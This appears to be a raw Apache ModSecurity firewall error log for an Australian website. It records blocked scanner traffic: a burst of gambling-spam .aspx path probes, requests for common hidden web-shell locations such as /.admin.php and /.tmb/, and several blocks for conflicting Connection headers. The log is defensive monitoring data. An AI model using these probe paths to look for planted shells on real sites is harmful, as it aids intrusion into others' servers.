[Sun May 03 03:33:34.565513 2026] [:error] [pid 32531:tid 32665] [client 147.135.213.107:60448] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%2099.aspx"] [unique_id "afZRjtM27m6yrtstUHHJ4AAAAIk"]
[Sun May 03 03:33:36.996871 2026] [:error] [pid 32526:tid 32612] [client 147.135.213.107:51098] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20auto.aspx"] [unique_id "afZRkHH_oS2UVPBjzimDaAAAAAo"]
[Sun May 03 03:33:39.479576 2026] [:error] [pid 32527:tid 32651] [client 147.135.213.107:51114] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20demo.aspx"] [unique_id "afZRkyntHb-wyjvc19fuswAAAFY"]
[Sun May 03 03:33:41.996547 2026] [:error] [pid 32526:tid 32616] [client 147.135.213.107:35910] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20free.aspx"] [unique_id "afZRlXH_oS2UVPBjzimDbAAAAA4"]
[Sun May 03 03:33:44.506324 2026] [:error] [pid 32527:tid 32648] [client 147.135.213.107:35914] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "afZRmCntHb-wyjvc19fuwAAAAFM"]
[Sun May 03 03:33:47.004475 2026] [:error] [pid 32526:tid 32609] [client 147.135.213.107:35924] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20joker.aspx"] [unique_id "afZRm3H_oS2UVPBjzimDcwAAAAc"]
[Sun May 03 03:33:49.318994 2026] [:error] [pid 32713:tid 32727] [client 147.135.213.107:35932] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20online.aspx"] [unique_id "afZRndMxQaX6pVoZbEfJoAAAAMs"]
[Sun May 03 03:33:51.814308 2026] [:error] [pid 32713:tid 32723] [client 147.135.213.107:46652] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "afZRn9MxQaX6pVoZbEfJpwAAAMc"]
[Sun May 03 03:33:54.143676 2026] [:error] [pid 32531:tid 32658] [client 147.135.213.107:46656] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "afZRotM27m6yrtstUHHJ9wAAAII"]
[Sun May 03 03:33:56.626338 2026] [:error] [pid 32527:tid 32631] [client 147.135.213.107:46666] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "afZRpCntHb-wyjvc19fu3AAAAEI"]
[Sun May 03 03:33:59.107024 2026] [:error] [pid 32531:tid 32674] [client 147.135.213.107:46668] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "afZRp9M27m6yrtstUHHKAQAAAJI"]
[Sun May 03 03:34:01.431685 2026] [:error] [pid 32713:tid 32724] [client 147.135.213.107:48536] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "afZRqdMxQaX6pVoZbEfJtAAAAMg"]
[Sun May 03 03:34:03.932895 2026] [:error] [pid 32531:tid 32679] [client 147.135.213.107:48542] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "afZRq9M27m6yrtstUHHKBgAAAJc"]
[Sun May 03 03:34:06.446915 2026] [:error] [pid 32713:tid 32726] [client 147.135.213.107:48546] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "afZRrtMxQaX6pVoZbEfJwwAAAMo"]
[Sun May 03 03:34:08.948689 2026] [:error] [pid 32531:tid 32656] [client 147.135.213.107:48552] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "afZRsNM27m6yrtstUHHKEQAAAIA"]
[Sun May 03 03:34:11.437700 2026] [:error] [pid 32713:tid 32725] [client 147.135.213.107:47306] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "afZRs9MxQaX6pVoZbEfJ0wAAAMk"]
[Sun May 03 03:34:13.778172 2026] [:error] [pid 32527:tid 32634] [client 147.135.213.107:47308] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "afZRtSntHb-wyjvc19fu8AAAAEU"]
[Sun May 03 03:34:16.272468 2026] [:error] [pid 32527:tid 32651] [client 147.135.213.107:47318] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spg%20slot.aspx"] [unique_id "afZRuCntHb-wyjvc19fu8wAAAFY"]
[Sun May 03 03:34:18.773036 2026] [:error] [pid 32526:tid 32610] [client 147.135.213.107:47320] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spx%20slot.aspx"] [unique_id "afZRunH_oS2UVPBjzimDnAAAAAg"]
[Sun May 03 03:34:21.297809 2026] [:error] [pid 32526:tid 32618] [client 147.135.213.107:50102] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "afZRvXH_oS2UVPBjzimDpAAAABA"]
[Sun May 03 03:34:23.789528 2026] [:error] [pid 32713:tid 32716] [client 147.135.213.107:50116] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/super%20slot.aspx"] [unique_id "afZRv9MxQaX6pVoZbEfJ4wAAAMA"]
[Sun May 03 03:34:26.297982 2026] [:error] [pid 32531:tid 32674] [client 147.135.213.107:50118] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "afZRwtM27m6yrtstUHHKKQAAAJI"]
[Sun May 03 03:34:28.689905 2026] [:error] [pid 32713:tid 32738] [client 147.135.213.107:50126] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20vip.aspx"] [unique_id "afZRxNMxQaX6pVoZbEfJ-wAAANY"]
[Sun May 03 03:34:31.176689 2026] [:error] [pid 32526:tid 32603] [client 147.135.213.107:58068] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "afZRx3H_oS2UVPBjzimDugAAAAE"]
[Sun May 03 03:34:52.123292 2026] [:error] [pid 32527:tid 32637] [client 147.135.213.107:58076] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "afZR3CntHb-wyjvc19fvMgAAAEg"]
[Sun May 03 03:34:54.566691 2026] [:error] [pid 32531:tid 32660] [client 147.135.213.107:54218] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "afZR3tM27m6yrtstUHHKYAAAAIQ"]
[Sun May 03 03:34:57.062488 2026] [:error] [pid 32531:tid 32675] [client 147.135.213.107:54234] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "afZR4dM27m6yrtstUHHKZwAAAJM"]
[Sun May 03 03:34:59.581188 2026] [:error] [pid 32713:tid 32738] [client 147.135.213.107:54240] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "afZR49MxQaX6pVoZbEfKQwAAANY"]
[Sun May 03 03:35:02.080680 2026] [:error] [pid 32713:tid 32732] [client 147.135.213.107:43636] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "afZR5tMxQaX6pVoZbEfKUQAAANA"]
[Sun May 03 03:35:04.577484 2026] [:error] [pid 32527:tid 32640] [client 147.135.213.107:43638] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "afZR6CntHb-wyjvc19fvUwAAAEs"]
[Sun May 03 03:35:07.051859 2026] [:error] [pid 32713:tid 32716] [client 147.135.213.107:43646] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w69%20slot.aspx"] [unique_id "afZR69MxQaX6pVoZbEfKXQAAAMA"]
[Sun May 03 03:35:09.523483 2026] [:error] [pid 32527:tid 32645] [client 147.135.213.107:43660] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "afZR7SntHb-wyjvc19fvdgAAAFA"]
[Sun May 03 03:35:11.977899 2026] [:error] [pid 32713:tid 32721] [client 147.135.213.107:52122] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we88%20slot.aspx"] [unique_id "afZR79MxQaX6pVoZbEfKagAAAMU"]
[Sun May 03 03:35:14.452168 2026] [:error] [pid 32531:tid 32673] [client 147.135.213.107:52136] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "afZR8tM27m6yrtstUHHKfQAAAJE"]
[Sun May 03 03:35:16.794461 2026] [:error] [pid 32713:tid 32738] [client 147.135.213.107:52146] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xo%20slot.aspx"] [unique_id "afZR9NMxQaX6pVoZbEfKfAAAANY"]
[Sun May 03 03:35:19.269620 2026] [:error] [pid 32526:tid 32615] [client 147.135.213.107:52154] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "afZR93H_oS2UVPBjzimD7gAAAA0"]
[Sun May 03 04:41:55.910295 2026] [:error] [pid 40637:tid 40657] [client 43.131.36.84:39184] [client 43.131.36.84] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "afZhk5B-U30YNJ6CyVgvFgAAAAo"]
[Sun May 03 05:52:32.893162 2026] [:error] [pid 40639:tid 40707] [client 43.134.35.91:49914] [client 43.134.35.91] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "afZyIK9rkyoICq7qxvFqpAAAAIY"]
[Sun May 03 07:56:42.583947 2026] [:error] [pid 37246:tid 37268] [client 49.234.192.248:57962] [client 49.234.192.248] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "afaPOjhvYFGNwhnPampxNQAAARI"]
[Sun May 03 09:53:27.505542 2026] [:error] [pid 37127:tid 37207] [client 172.173.121.85:30239] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.dj/index.php"] [unique_id "afaql_8khJXb5O5aWVXyjAAAAFU"]
[Sun May 03 09:53:27.883988 2026] [:error] [pid 40386:tid 40392] [client 172.173.121.85:30324] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.dj/index.php"] [unique_id "afaql1HJDYRXUf3IbRTs8wAAAMQ"]
[Sun May 03 09:53:28.747144 2026] [:error] [pid 37126:tid 37175] [client 172.173.121.85:30300] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.dj/index.php"] [unique_id "afaqmPR_A42N-LtDyrvqxwAAABY"]
[Sun May 03 09:53:30.338100 2026] [:error] [pid 40386:tid 40401] [client 172.173.121.85:30219] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.dj/index.php"] [unique_id "afaqmlHJDYRXUf3IbRTs9wAAAM0"]
[Sun May 03 09:53:30.729003 2026] [:error] [pid 40422:tid 40449] [client 172.173.121.85:30217] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/audio/"] [unique_id "afaqmkHBbBLrXh6PBuuuBgAAAVc"]
[Sun May 03 09:53:31.104318 2026] [:error] [pid 37246:tid 37263] [client 172.173.121.85:30313] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/audio/"] [unique_id "afaqmzhvYFGNwhnPamqYzQAAAQ0"]
[Sun May 03 09:53:31.491717 2026] [:error] [pid 37246:tid 37252] [client 172.173.121.85:30220] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/audio/"] [unique_id "afaqmzhvYFGNwhnPamqYzwAAAQQ"]
[Sun May 03 09:53:31.957186 2026] [:error] [pid 37126:tid 37171] [client 172.173.121.85:30224] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/audio/"] [unique_id "afaqm_R_A42N-LtDyrvqyQAAABI"]
[Sun May 03 09:53:32.530979 2026] [:error] [pid 40386:tid 40400] [client 172.173.121.85:30319] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.tmb/"] [unique_id "afaqnFHJDYRXUf3IbRTs-gAAAMw"]
[Sun May 03 09:53:32.919413 2026] [:error] [pid 40422:tid 40444] [client 172.173.121.85:30321] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.tmb/"] [unique_id "afaqnEHBbBLrXh6PBuuuCAAAAVI"]
[Sun May 03 09:53:33.301246 2026] [:error] [pid 40422:tid 40438] [client 172.173.121.85:30312] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.tmb/"] [unique_id "afaqnUHBbBLrXh6PBuuuCgAAAUw"]
[Sun May 03 09:53:33.768194 2026] [:error] [pid 37246:tid 37262] [client 172.173.121.85:30331] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.tmb/"] [unique_id "afaqnThvYFGNwhnPamqY0gAAAQw"]
[Sun May 03 09:53:34.153898 2026] [:error] [pid 37246:tid 37267] [client 172.173.121.85:30282] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.admin.php"] [unique_id "afaqnjhvYFGNwhnPamqY0wAAARE"]
[Sun May 03 09:53:35.558082 2026] [:error] [pid 37126:tid 37170] [client 172.173.121.85:30235] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.admin.php"] [unique_id "afaqn_R_A42N-LtDyrvqzQAAABE"]
[Sun May 03 09:53:36.031003 2026] [:error] [pid 37246:tid 37274] [client 172.173.121.85:30296] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.admin.php"] [unique_id "afaqoDhvYFGNwhnPamqY1QAAARg"]
